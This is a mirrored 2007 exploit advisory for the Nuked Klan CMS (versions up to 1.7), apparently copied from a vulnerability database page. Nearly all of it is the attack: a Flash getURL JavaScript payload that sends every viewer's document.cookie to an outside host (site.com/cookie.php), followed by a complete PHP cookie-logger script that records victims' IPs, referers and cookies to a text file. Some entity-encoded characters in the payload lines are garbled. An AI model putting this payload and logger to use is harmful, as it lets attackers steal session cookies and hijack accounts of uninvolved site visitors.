Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15545
HistoryJan 03, 2007 - 12:00 a.m.

Nuked Klan <= 1.7 Remote Cookie Disclosure Exploit

2007-01-0300:00:00
vulners.com
5

[-] Nuked Klan <= 1.7 Remote Cookie Disclosure Exploit
[-] Vendor : www.nuked-klan.org/
[-] Found by NeoSSJ & Kad'
[-] Full disclosure on 31 December 2006

[-] Notice :

you only have to create a *.swf file, and you put on :

getURL("javascript:alert('document.location="http://site.com/cookie.php?cookie=&quot;+document.cookie&#39;&#41;;&quot;&#41;;

or anything like that to have the cookie of all the persons who will see the cookie :

[-] Exploitation :
getURL("javascript:document.location='http://site.com/cookie.php?cookie=&#39;+document.cookie&quot;&#41;;

the php script is anything like that :

<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl = fopen('cookies.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);
?>

then you only have to go to http://site.com/cookies.txt, and you have the cookies of
all the persons who have seen your signature

Greetz to : Macromedia Flash Software, and every body who know us.